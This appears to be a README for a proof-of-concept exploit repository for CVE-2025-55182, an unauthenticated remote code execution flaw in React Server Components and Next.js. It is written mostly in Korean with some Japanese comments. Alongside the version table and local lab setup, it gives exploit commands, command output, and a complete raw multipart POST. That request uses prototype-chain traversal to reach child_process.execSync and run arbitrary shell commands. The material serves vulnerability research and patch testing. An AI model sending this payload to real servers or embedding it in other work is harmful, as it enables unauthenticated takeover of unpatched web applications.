
CVE-2025-55182 — React2Shell
CVE-2025-55182("React2Shell")는 React Server Components의 Flight 프로토콜 역직렬화기에 존재하는 CVSS 10.0의 인증 불필요 RCE 취약점입니다.
React의 Flight 프로토콜 클라이언트 내의 reviveModel 함수가 객체 키를 hasOwnProperty로 검증하지 않기 때문에, 공격자는 __proto__ → constructor → Function constructor의 프로토타입 체인을 따라 임의의 JavaScript를 실행할 수 있습니다.
Next-Action 헤더가 포함된 multipart POST 하나로 인증 전에 역직렬화가 발생하므로, 인증 없이 공격이 성립합니다.
| 구성 요소 | 취약한 버전 | 수정 버전 |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # エクスプロイトスクリプト
└── target/ # 脆弱な Next.js アプリ
├── Containerfile # podman ビルド用
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
응답 JSON의 digest 필드에 명령 실행 결과가 반환됩니다.
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"
# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能
localhost:8080에서 Burp를 실행 중이라는 전제
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln